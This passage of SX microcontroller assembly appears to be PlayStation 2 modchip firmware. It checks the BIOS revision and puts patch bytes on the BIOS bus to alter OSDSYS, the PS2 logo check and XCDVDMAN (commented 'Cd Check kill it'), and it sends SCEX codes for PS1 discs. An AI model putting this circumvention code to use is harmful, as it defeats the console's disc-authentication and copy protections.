VAR_DC2 jmp MODE_SELECT_TIMER_L3 mov w,#100;$64 ;100 mov VAR_DC2,w ;100+25=125 12.5secs ;test_l3 DISABLE_MODE call DELAY100m ;10secs = DISABLE_MODE but 2.5secs for retap of reset for DEV1 sb IO_REST ;resetted ...enter DEV mode page $0600 jmp DEV1_MODE_LOAD_START decsz VAR_DC2 jmp DISABLE_MODE ;...sleep chip , can't wake up without put PS2 into stby sleep ;RESET0 TAP_BOOT_MODE clr fsr clrb PSX_FLAG ;RESET_DOWN HOLD_BOOT_MODES snb DEV1_FLAG ;reenter dev mode if rest in dev mode page $0600 jmp DEV1_MODE_LOAD_START setb SOFT_RST ;soft reset may need more than 1 disk patch he he he .... clrb EJ_FLAG setb X_FLAG ;first XMAN patch flag clrb V12LOGO_FLAG ;clear V12 logo flag patch page $0200 jmp PS2_MODE_START ;PS2 osd patch or PS1DRV init... (based on psx_flag status) ;--------------------------------------------------------------------- ;PS2 : continue patch after OSDSYS & wait for disk ready... ;--------------------------------------------------------------------- ;PS2_PATCH2 CHECK_IF_START_PS2LOGO clr fsr sb PSX_FLAG page $0400 jmp START_PS2LOGO_PATCH_LOAD sb PSX_FLAG jmp TRAY_IS_EJECTED ;CDDVD_EJECTED TRAY_IS_EJECTED sb IO_REST ;here from eject jmp TAP_BOOT_MODE ;reset ? snb IO_EJECT jmp TRAY_IS_EJECTED ;wait for tray closed... ;wait for bios cs inactive ( fix for 5 bit bus and cd boot ) ;DELAY1s RESUME_MODE_FROM_EJECT mov w,#5;$5 ;Precise delay routine using RTCC mov VAR_DC2,w ;ld_del0 RESUME_MODE_FROM_EJECT_L1 mov w,#100;$64 ;delay = 100 millisec. mov VAR_DC1,w ;ld_del RESUME_MODE_FROM_EJECT_L2 mov w,#59;$3b ;load timer=61,delay = (256-61)*256*0.02 micros.= 1000 micros. mov rtcc,w ;ld_del1 RESUME_MODE_FROM_EJECT_L3 sb IO_BIOS_CS ;wait again 500msec if bios cs active jmp RESUME_MODE_FROM_EJECT sb IO_REST ;new reset check here ... jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED ; mov w,rtcc ;wait for timer= 0 ... (don't use TEST RTCC) sb z jmp RESUME_MODE_FROM_EJECT_L3 decsz VAR_DC1 jmp RESUME_MODE_FROM_EJECT_L2 decsz VAR_DC2 jmp RESUME_MODE_FROM_EJECT_L1 call SET_INTRPT ;better here .... clr fsr snb DEV1_FLAG page $0600 jmp START_CDDVD_PATCH ;patch media for DEVMODE mov w,#2;$2 mov VAR_DC4,w mov w,#$32 ;ASCI 2 mov w,VAR_BIOS_YR-w ; is 2002 Year console snb z jmp CONSOLE_2002_JMP ;# of ps2logo patch for PS2 V7 mov w,#1;$1 mov VAR_DC4,w ;MEPATCH CONSOLE_2002_JMP page $0600 IFDEF RSTBUMP clrb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_f setb JAP_V8 ENDIF IFDEF JAPv14orv8 setb JAP_V8 ENDIF jmp START_CDDVD_PATCH ;patch ps2 CD/DVD ;------------------------------------------------------------------------- ;NEW NEW NEW patch psx game... and some protected too ;------------------------------------------------------------------------- ;PSX_PATCH PS1_MODE_START_PATCH clr fsr clrb SCEX_FLAG mov w,#$ff mov VAR_PSX_TEMP,w ;autosend correct # of SCEX (max value help bad optics) ;) ;psx_ptc_l0 RUN_PS1_SCEX_INJECT call SEND_SCEX snb SCEX_FLAG jmp PS1_SCEX_INJECT_COMPLETE decsz VAR_PSX_TEMP ; loop sending SCEX jmp RUN_PS1_SCEX_INJECT page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;DRVPTC PS1_SCEX_INJECT_COMPLETE snb EJ_FLAG jmp RUN_PS1_SCEX_INJECT ;send all scex after bios patch then sleep mov w,#2;$2 mov VAR_DC4,w ;# of PS1DRV patch for PS2 V7 mov w,#$32 mov w,VAR_BIOS_YR-w snb z jmp PS1_IS_V14orV1toV12PALorNTSC mov w,#1;$1 mov VAR_DC4,w ;DRV PS1_IS_V14orV1toV12PALorNTSC snb V14_FLAG ; check if V14_FLAG set meaning v14/75k decka jmp PS1_V14_PATCH snb UK_FLAG ; fix for ntsc/pal ps1 route v1-12 page $0400 jmp PS1_CONSOLE_PAL_YFIX ; jmp to pal start if pal console page $0400 jmp PS1_CONSOLE_ALL_JMPNTSC ; fall over to ntsc start if no pal flag set ;V14DRV1 PS1_V14_PATCH mov w,#49;$31 mov VAR_DC2,w mov w,#$1 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$40 mov VAR_PSX_TEMP,w mov w,#$1b mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w page $0400 jmp PS1_MODE_START ;exec psxdrv patch + logo1 + set EJect flag and ret to PSX_PATCH org $0200 ; PAGE2 200-3FF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P2 ;-------------------------------------------------------------------------------- NOTCALLED3 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_WAIT_OE_LO_P2 ; next byte / wait for bios OE low ret ;--------------------------------------------------------- ; NEW BIOS PATCH ROUT ;--------------------------------------------------------- ;-------------------------------------------------------------------------------- RUN_BIOS_PATCHES_SRAM ;-------------------------------------------------------------------------------- NOTCALLED1 mov w,indf ; SRAM address moved to w and output to IO_BIOS_DATA mov IO_BIOS_DATA,w inc fsr ; +1 to step through the SRAM cached patches mov w,#$10 ; 10h or so always in SRAM address section 6.2.1 or fsr,w ; so that ends in top address of registery which is SRAM access. bottom 0-f reserved so when gets 1f goes 30h than 20h RUN_BIOS_PATCHES_SRAM_SENDLOOP snb IO_BIOS_OE ; next byte / wait for bios OE low jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP ; jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP if IO_BIOS_OE high decsz VAR_DC2 ; loop calling of SRAM cache till VAR_DC2=0 then patch finished, VAR_DC2 set in loading of call here for ea patch jmp RUN_BIOS_PATCHES_SRAM END_BIOS_PATCHES_SRAM_RESET_IO sb IO_BIOS_OE ; next byte / wait for bios OE high jmp END_BIOS_PATCHES_SRAM_RESET_IO ; jmp END_BIOS_PATCHES_SRAM_RESET_IO if IO_BIOS_OE high mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ; all pins Hi-Z input clr fsr ;moved here ! retp ; patching done. Return from call ;---------------------------------------------------------- ;Patch PS2 game... ;---------------------------------------------------------- ;-------------------------------------------------------------------------------- BIOS_PATCH_DATA ;osdsys ;-------------------------------------------------------------------------------- jmp pc+w ;V134 retw $23 retw $80 retw $ac retw $c retw $0 retw $0 retw $0 ;VX retw $24 ; 7 retw $10 retw $3c retw $e4 retw $24 retw $80 retw $ac retw $e4 retw $22 retw $90 retw $ac retw $84 retw $bc mov w,#79;$4f mov VAR_DC3,w ;79 ; #### ber jmp BIOS_PATCH_DATA_PART2_ALL ;V9 retw $24 ; 23 retw $10 retw $3c retw $74 retw $2a retw $80 retw $ac retw $74 retw $28 retw $90 retw $ac retw $bc retw $d3 mov w,#79;$4f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL ;V14 retw $24 ; 39 +8 = 47 retw $10 retw $3c retw $78 retw $2d retw $80 retw $ac retw $40 retw $2b retw $90 retw $ac retw $a0 retw $ff mov w,#79;$4f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL ;V10-12 retw $24 ; 39 +8 = 47 retw $10 retw $3c retw $e4 retw $2c retw $80 retw $ac retw $f4 retw $2a retw $90 retw $ac snb V12_FLAG jmp V12_CONSOLE_20_BIOS_JMP mov w,#70;$46 mov VAR_DC3,w ; 54 + 16 = 70 retw $a4 retw $ec mov w,#79;$4f mov VAR_DC3,w ; 63 + 16 = 79 jmp BIOS_PATCH_DATA_PART2_ALL ;v12 V12_CONSOLE_20_BIOS_JMP mov w,#77;$4d mov VAR_DC3,w ; 61 + 16 = 77 retw $c retw $f9 ;LOAD_END BIOS_PATCH_DATA_PART2_ALL retw $91 ; 63 + 8 = 71 ;;79 retw $34 retw $0 retw $0 retw $30 retw $ae retw $c retw $0 retw $0 retw $0 ;LOAD_PSX1D retw $c7 ; 73 retw $2 retw $34 retw $19 retw $19 retw $e2 retw $ba retw $11 retw $19 retw $e2 retw $ba ;V14 jmp back retw $3c ; 71 + 8 = 79 retw $c7 ; 73 retw $2 retw $34 IFDEF NTSCPS1YFIX75K retw $29 ;19pal/29ntsc yfix pal console ELSE retw $19;$29 ;19pal/29ntsc yfix pal console ENDIF retw $19 retw $c2 retw $bb IFDEF NTSCPS1YFIX75K retw $21 ;11pal/21ntsc yfix pal console ELSE retw $11;$21 ;11pal/21ntsc yfix pal console ENDIF retw $19 retw $c2 retw $bb retw $60 retw $9 retw $8 retw $8 ;PS2_PATCH PS2_MODE_START ;load osdsys data patch for PS2 mode or ps1drv data patch for PSX mode clr fsr sb PSX_FLAG jmp CHECK_IF_V1_v2or3_V4_V5to8 ;ps2 mode selected , skip snb V14_FLAG page $0400 jmp PS2LOGO_PATCHLOAD_22_JMP1 mov w,#11;$b mov VAR_DC1,w ;psx mode : # of patch bytes mov w,#$59 ; 89 ;ps1drv data offset here ... jmp ALL_CONTIUNE_BIOS_PATCH ;:set_psx2 CHECK_IF_V1_v2or3_V4_V5to8 ;ps2 mode data offset clr fsr snb V14_FLAG jmp CHECK_V9to14_REV ;jmp CHECK_V9to14_REV if CHECK_V9to14_REV set meaning W v14/75k+ mov w,#$31 ;ascii 1 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 1 ;v1 snb z ;skip next line if doesnt = 0 meaning is 1 ascii jmp V1_CONSOLE_11_BIOS ;jmp V1_CONSOLE_11_BIOS if VAR_BIOS_REV did = 1 ascii mov w,#$32 ;ascii 2 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 2 ;v2-3 snb z ;skip next line if doesnt = 0 meaning is 2 ascii jmp V2or3_CONSOLE_12_BIOS ;jmp V2or3_CONSOLE_12_BIOS if VAR_BIOS_REV did = 2 ascii mov w,#$35 ;ascii 5 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 5 ;v4 snb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V4_CONSOLE_15_BIOS ;jmp V4_CONSOLE_15_BIOS if VAR_BIOS_REV did = 5 ascii jmp CHECK_V9to14_REV ;jmp CHECK_V9to14_REV if VAR_BIOS_REV didnt = 5 ascii ;:set_V1 V1_CONSOLE_11_BIOS mov w,#$c0 mov IO_BIOS_DATA,w mov w,#176;$b0 mov VAR_DC3,w mov w,#116;$74 mov VAR_DC4,w jmp V1to8_CONTIUNE ;:set_V3 V2or3_CONSOLE_12_BIOS mov w,#$d8 mov IO_BIOS_DATA,w mov w,#64;$40 mov VAR_DC3,w mov w,#122;$7a mov VAR_DC4,w jmp V1to8_CONTIUNE ;:set_V4 V4_CONSOLE_15_BIOS mov w,#96;$60 mov VAR_DC3,w mov w,#125;$7d mov VAR_DC4,w mov w,#12;$c mov IO_BIOS_DATA,w ;:set_P V1to8_CONTIUNE mov w,#7;$7 ; V5678 mov VAR_DC1,w mov VAR_DC2,w clr w jmp ALL_CONTIUNE_BIOS_PATCH ;:set_Vx CHECK_V9to14_REV mov w,#$2 mov IO_BIOS_DATA,w mov w,#23;$17 mov VAR_DC1,w mov VAR_DC2,w ; VAR_DC1 VAR_DC2 = 17h = 23 mov w,#$37 ;ascii 7 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 7 ;1.7bios v9-11 50k snb z jmp V9_CONSOLE_17_BIOS mov w,#$39 ;ascii 9 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 9 ;1.9bios v9-11 50k snb z jmp V9_CONSOLE_19_BIOS mov w,#$30 ;ascii 0 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 0 ;2.0bios v12 snb z jmp V12_CONSOLE_20_BIOS mov w,#$32 mov w,VAR_BIOS_REV-w snb z jmp V14_CONSOLE_22_BIOS mov w,#48;$30 mov VAR_DC3,w mov w,#125;$7d mov VAR_DC4,w mov w,#7;$7 ; V5678 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V9 V9_CONSOLE_17_BIOS mov w,#4;$4 mov VAR_DC3,w mov w,#148;$94 mov VAR_DC4,w mov w,#23;$17 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V14 V14_CONSOLE_22_BIOS setb V10_FLAG setb V14_FLAG mov w,#212;$d4 mov VAR_DC3,w mov w,#169;$a9 mov VAR_DC4,w mov w,#39;$27 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V10 V9_CONSOLE_19_BIOS setb V10_FLAG mov w,#100;$64 mov VAR_DC3,w mov w,#158;$9e mov VAR_DC4,w mov w,#55;$37 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V12 V12_CONSOLE_20_BIOS setb V10_FLAG setb V12_FLAG mov w,#124;$7c mov VAR_DC3,w mov w,#169;$a9 mov VAR_DC4,w mov w,#55;$37 ;:loopxx ALL_CONTIUNE_BIOS_PATCH snb DEV1_FLAG jmp SECONDBIOS_PATCH_DEV1_STACK mov VAR_DC3,w mov w,#$15 mov fsr,w ;:loop LOAD_BIOS_PATCH_DATA mov w,VAR_DC3 call BIOS_PATCH_DATA mov indf,w inc fsr mov w,#$10 or fsr,w inc VAR_DC3 decsz VAR_DC1 jmp LOAD_BIOS_PATCH_DATA clr fsr snb PSX_FLAG page $0000 jmp TRAY_IS_EJECTED ;PS2_PATCH2 ;exit osd patch if psx mode selected ... ;:loop0 ; OSDSYS Wait for 60 00 04 08 ... fixed for V10 :) SECOND_BIOS_PATCH_SYNC snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC mov w,#$60 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP1 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP1 SECOND_BIOS_PATCH_SYNC_LOOP2 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP2 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP3 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP3 SECOND_BIOS_PATCH_SYNC_LOOP4 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP4 mov w,#$4 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP5 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP5 SECOND_BIOS_PATCH_SYNC_LOOP6 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP6 mov w,#$8 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC mov w,#$15 mov fsr,w ;----------------------------------------------------------- ; Patch data for bios OSDSYS ;----------------------------------------------------------- ;:loop1 SECOND_BIOS_PATCH_SYNC_P2 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P2 mov w,#$7 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P2 SECOND_BIOS_PATCH_SYNC_P3 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P3 mov w,#$3 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P3 ;:loop66 SECOND_BIOS_PATCH_SYNC_P4 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4 SECOND_BIOS_PATCH_SYNC_P4_L1 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L1 mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P3 SECOND_BIOS_PATCH_SYNC_P4_L2 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L2 mov !IO_BIOS_DATA,w SECOND_BIOS_PATCH_SYNC_P4_L3 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L3 page $0200 call RUN_BIOS_PATCHES_SRAM snb DEV1_FLAG page $0600 jmp FINISHED_RUN_START snb V12LOGO_FLAG page $0400 jmp PS1_MODE_SUCESSFUL_END ;logo patch for V12 page $0000 jmp CHECK_IF_START_PS2LOGO ;end of osd patch ;SETUPDEV SECONDBIOS_PATCH_DEV1_STACK mov w,#$1c mov fsr,w mov w,VAR_DC3 mov indf,w inc fsr mov w,VAR_DC4 mov indf,w clr fsr mov w,#$4 mov IO_BIOS_DATA,w mov w,#115;$73 mov VAR_DC2,w page $0200 jmp SECOND_BIOS_PATCH_SYNC SET_V14DRV mov w,#$34 ; ? likely some 75k patches? mov fsr,w mov w,#$14 mov indf,w inc fsr mov w,#$2 mov indf,w mov w,#$50 mov fsr,w mov w,#$20 mov indf,w mov w,#$54 mov fsr,w mov w,#$5c mov indf,w inc fsr mov w,#$25 mov indf,w mov w,#$5a mov fsr,w mov w,#$8 mov indf,w mov w,#16;$10 mov VAR_DC1,w mov w,#100;$64 mov VAR_DC3,w mov w,#$5c mov fsr,w page $0200 ; PAGE2 jmp LOAD_BIOS_PATCH_DATA ;---------------------------------------------------------- ;XCDVDMAN routine ;---------------------------------------------------------- ;IS_XCDVDMANX POST_PATCH_4_MODE_START page $0000 ; PAGE1 call SET_INTRPT ;IS_XCDVDMAN POST_PATCH_4_MODE_START2 snb DEV1_FLAG page $0600 jmp FINISHED_RUN_START_P2 mov w,#100;$64 ; 100 mov VAR_DC4,w ; 30-35 sec wait for BIOS ;IS_XCDVDMAN:loop4 POST_PATCH_4_MODE_START_L1 mov w,#255;$ff mov VAR_DC3,w ;IS_XCDVDMAN:loop3 POST_PATCH_4_MODE_START_L2 mov w,#255;$ff mov VAR_DC2,w ;IS_XCDVDMAN:loop2 POST_PATCH_4_MODE_START_L3 mov w,#255;$ff mov VAR_DC1,w ;IS_XCDVDMAN:loopx POST_PATCH_4_MODE_START_L4 sb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_P2 decsz VAR_DC1 jmp POST_PATCH_4_MODE_START_L4 decsz VAR_DC2 jmp POST_PATCH_4_MODE_START_L3 decsz VAR_DC3 jmp POST_PATCH_4_MODE_START_L2 decsz VAR_DC4 jmp POST_PATCH_4_MODE_START_L1 jmp PS2_MODE_RB_IO_SET_SLEEP ; no xcdvdman reload ... ;IS_XCDVDMAN:loop0 POST_PATCH_4_MODE_START_L5 snb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_L4 ;IS_XCDVDMAN:loop1 POST_PATCH_4_MODE_START_P2 mov w,#$a2 ;sync A2 93 23 for V1-V10 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 call BIOS_WAIT_OE_LO_P2 mov w,#$93 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 call BIOS_WAIT_OE_LO_P2 mov w,#$34 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 ;XCDVDMAN clr fsr mov w,#7;$7 mov VAR_DC2,w mov w,#$8 mov IO_BIOS_DATA,w ;send 08 ;xcdvdman1_l0a POST_PATCH4MODE_START_P2_L1 snb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L1 mov w,#$27 ;27 18 00 A3 (A3) mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$18 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$a3 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 ; patch it ; Addr 00006A28 export 0x23(Cd Check) kill it ; 00006A28: 08 00 E0 03 jr ra ; 00006A2C: 00 00 00 00 nop snb X_FLAG ;first XMAN executed ! jmp POST_PATCH4MODE_END_P2 ;xcdvdman1_next mov w,#$15 mov fsr,w ;xcdvdman1_l1 POST_PATCH4MODE_START_P2_L2 snb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L2 nop mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L2 POST_PATCH4MODE_START_P2_L3 sb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L3 mov !IO_BIOS_DATA,w POST_PATCH4MODE_END_P1 snb IO_BIOS_OE jmp POST_PATCH4MODE_END_P1 page $0200 call RUN_BIOS_PATCHES_SRAM sb EJ_FLAG page $0000 jmp TRAY_IS_EJECTED ;jump to EJECTED if no EJ_FLAG = first xman patch for originals jmp POST_PATCH_4_MODE_START2 ;? da verificare !!! ;again POST_PATCH4MODE_END_P2 clrb X_FLAG jmp POST_PATCH_4_MODE_START2 ;patch cddvdman & xcdvdman ;TO SLEEP ... , PERHARPS TO DREAM ... PS2_MODE_RB_IO_SET_SLEEP mode $000A ; XAh WKED_B Each register bit selects the edge sensitivity of the corresponding Port B input pin for MIWU operation. ;todo mov w,#$6 ; 0000 0110 Set the bit to 1 to sense falling (high-to-low) edges. mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST high-to-low sense mode $0009 ; X9h Exchange WKPND_B clr w ; 0000 0000 mov !IO_CDDVD_BUS,w ; A bit set to 1 indicates that a valid edge has occurred on the corresponding MIWU pin, triggering a wakeup or interrupt. ; A bit set to 0 indicates that no valid edge has occurred on the MIWU pin. ; The WKPND_B register comes up with undefine value upon reset. mode $000B ; XBh WKEN_B Multi-Input Wakeup/Interrupt (MIWU) function for the corresponding Port B input pin. ; Clear the bit to 0 to enable MIWU operation or set the bit to 1 to disable MIWU operation. snb PSX_FLAG ; jmp PS1_MODE_RB_IO_SET_SLEEP if PSX_FLAG is set jmp PS1_MODE_RB_IO_SET_SLEEP ; skip below io set and jmp PS1_MODE_RB_IO_SET_SLEEP mov w,#$f1 ; 1111 0001 mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST rb.3 IO_EJECT enabled sleep PS1_MODE_RB_IO_SET_SLEEP mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ; rb.2 IO_REST rb.3 IO_EJECT enabled sleep org $0400 ; PAGE4 400-5FF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P4 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P2 ret ;-------------------------------------------------------------------------------- PS2LOGO_PATCH ;-------------------------------------------------------------------------------- jmp pc+w ;LOAD_XMAN retw $0 ; 0 retw $e0 retw $3 retw $21 retw $10 retw $0 retw $0 mov w,#51;$33 mov VAR_DC3,w sb V14_FLAG jmp PS2LOGO_PATCH_not22_JMP1 ;v14? mov w,#13;$d mov VAR_DC3,w retw $40 retw $8 retw $11 retw $3c retw $8 retw $0 retw $32 retw $36 retw $f8 retw $1 retw $92 retw $ac retw $21 retw $0 retw $40 retw $8 retw $b retw $0 retw $32 retw $36 retw $10 retw $0 retw $4 retw $3c retw $18 retw $16 retw $92 retw $ac retw $0 retw $0 retw $4 retw $8 mov w,#70;$46 mov VAR_DC3,w snb V14_FLAG jmp PS2LOGO_PATCH_22_JMP2 ;not v14 patches, how flows? mov w,#51;$33 mov VAR_DC3,w ;v12 PS2LOGO_PATCH_not22_JMP1 retw $8 retw $11 retw $3c retw $c1 retw $0 retw $32 retw $36 retw $18 retw $16 retw $92 retw $ac retw $c retw $0 retw $0 retw $0 ;LOGO2 PS2LOGO_PATCH_22_JMP2 retw $0 retw $0 retw $0 retw $0 retw $20 retw $38 retw $11 retw $0 retw $0 retw $60 retw $3 retw $24 retw $0 retw $0 retw $e2 retw $90 retw $0 retw $0 retw $e4 retw $90 retw $ff retw $ff retw $63 retw $24 retw $26 retw $20 retw $82 retw $0 retw $0 retw $0 retw $e4 retw $a0 retw $fb retw $ff retw $61 retw $4 retw $1 retw $0 retw $e7 retw $24 mov w,#117;$75 mov VAR_DC3,w snb V10_FLAG jmp PS2LOGO_PATCH_19_20_JMP1 mov w,#112;$70 mov VAR_DC3,w retw $d0 retw $80 mov w,#119;$77 mov VAR_DC3,w jmp PS2LOGO_PATCH_11_17_JMP1 ;LOADV10A PS2LOGO_PATCH_19_20_JMP1 retw $50 retw $81 ;LOADL1 PS2LOGO_PATCH_11_17_JMP1 retw $80 retw $af retw $2e retw $1 retw $22 retw $92 retw $2f retw $1 retw $23 retw $92 retw $26 retw $10 retw $43 retw $0 retw $1a retw $0 retw $3 retw $24 retw $3 retw $0 retw $43 retw $14 retw $1 retw $0 retw $7 retw $24 mov w,#171;$ab mov VAR_DC3,w snb V10_FLAG jmp PS2LOGO_PATCH_19_20_JMP2 mov w,#151;$97 mov VAR_DC3,w retw $bd retw $5 retw $4 retw $8 retw $cc retw $80 retw $87 retw $af retw $0 retw $0 retw $7 retw $24 retw $bd retw $5 retw $4 retw $8 retw $cc retw $80 retw $87 retw $af ;V10-12 PS2LOGO_PATCH_19_20_JMP2 retw $af retw $5 retw $4 retw $8 retw $4c retw $81 retw $87 retw $af retw $0 retw $0 retw $7 retw $24 retw $af retw $5 retw $4 retw $8 retw $4c retw $81 retw $87 retw $af ;V14DRV PS2LOGO_PATCHLOAD_22_JMP1 mov w,#39;$27 mov VAR_DC1,w jmp PS2LOGO_PATCHLOAD_22_JMP2 ;XMAN START_PS2LOGO_PATCH_LOAD mov w,#123;$7b mov VAR_DC1,w snb V14_FLAG jmp PS2LOGO_PATCHLOAD_22_JMP2 mov w,#110;$6e mov VAR_DC1,w ;PS2_PS2LOGO ;PS2_PS2LOGO:loopa PS2LOGO_PATCHLOAD_22_JMP2 clr w mov VAR_DC3,w mov w,#21;$15 mov fsr,w ;PS2_PS2LOGO:loop PS2LOGO_PATCHLOAD_LOOP mov w,VAR_DC3 call PS2LOGO_PATCH mov indf,w inc fsr mov w,#16;$10 or fsr,w inc VAR_DC3 decsz VAR_DC1 jmp PS2LOGO_PATCHLOAD_LOOP clr fsr snb PSX_FLAG page $0200 jmp SET_V14DRV snb X_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 ;PS2_PS2LOGO:loopz PS1_DETECTED_REBOOT clr fsr mov w,#117;$75 mov VAR_DC2,w mov w,#$1 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$c0 mov VAR_PSX_TEMP,w mov w,#$72 mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w snb V14_FLAG jmp PS1_DETECTED_REBOOT_JMP20to22 ;load regs with v12 logo sync mov w,#103;$67 mov VAR_DC2,w ;V12 logo lenght mov w,#$8 mov VAR_PSX_BC_CDDVD_TEMP,w ;V12 sync data mov w,#$e0 mov VAR_PSX_TEMP,w mov w,#$9d mov VAR_PSX_BITC,w mov w,#$40 mov IO_BIOS_DATA,w ;V12 bios preload snb V12_FLAG jmp PS1_DETECTED_REBOOT_JMP20to22 ;load regs with v10 sync mov w,#$af mov VAR_PSX_BC_CDDVD_TEMP,w ;V10 sync data mov w,#$6 mov VAR_PSX_TEMP,w mov w,#$8 mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w ;V1-V10 bios preload snb V10_FLAG jmp PS1_DETECTED_REBOOT_JMP11to17_ALL ;load regs with v1-v9 sync mov w,#$1e mov VAR_PSX_TEMP,w ;V1-V9 sync data ;PS2_PS2LOGO:patchlogo2 PS1_DETECTED_REBOOT_JMP11to17_ALL mov w,#87;$57 mov VAR_DC2,w ;PS2_PS2LOGO:loop4 PS1_DETECTED_REBOOT_JMP20to22 mov w,#$50 mov VAR_PSX_BYTE,w ;PS2_PS2LOGO:loop3 PS1_DETECTED_REBOOT_L1 mov w,#255;$ff mov VAR_DC3,w ;PS2_PS2LOGO:loop2 PS1_DETECTED_REBOOT_L2 mov w,#255;$ff mov VAR_DC1,w ;PS2_PS2LOGO:loopx AUTO_REBOOT_PS1MODE sb IO_BIOS_CS jmp PSX_MODE_START_P2 decsz VAR_DC1 jmp AUTO_REBOOT_PS1MODE decsz VAR_DC3 jmp PS1_DETECTED_REBOOT_L2 decsz VAR_PSX_BYTE jmp PS1_DETECTED_REBOOT_L1 ;AUTORESET ;NEW!!! future board design using a 2N7002 mosfet IFDEF RSTBUMP mode $000B ;disable interrupt , need !!! ... mov w,#$ff ; 1111 1111 mov !IO_CDDVD_BUS,w ; above set for IO_CDDVD_BUS mode $000F ; XFh mode direction for RA, IO_CDDVD_BUS, RC output mov w,#$0 ; 0000 0000 mov IO_CDDVD_BUS,w ; IO_CDDVD_BUS = 0 ? clear IO_CDDVD_BUS values mov w,#$fb ; 1111 1011 IO_REST IO_REST output ELSE mov w,#$0 ; set w = #$0 = 0 mov IO_CDDVD_BUS,w ; set IO_CDDVD_BUS = w = 0 ? clear IO_CDDVD_BUS values mov w,#$fe ; 1111 1110 IO_CDDVD_BUS_f F output ENDIF mov !IO_CDDVD_BUS,w page $0000 call DELAY100m mov w,#$ff mov !IO_CDDVD_BUS,w setb PSX_FLAG page $0000 jmp CHECK_IF_V9to14 ;sync for all versions using regs :)) ;PS2_PS2LOGO::loop00x PS1_MODE_START snb IO_BIOS_CS jmp AUTO_REBOOT_PS1MODE ;PS2_PS2LOGO:loop1x PSX_MODE_START_P2 mov w,VAR_PSX_BC_CDDVD_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START PS1_MODE_L1 sb IO_BIOS_OE jmp PS1_MODE_L1 PS1_MODE_L2 snb IO_BIOS_OE jmp PS1_MODE_L2 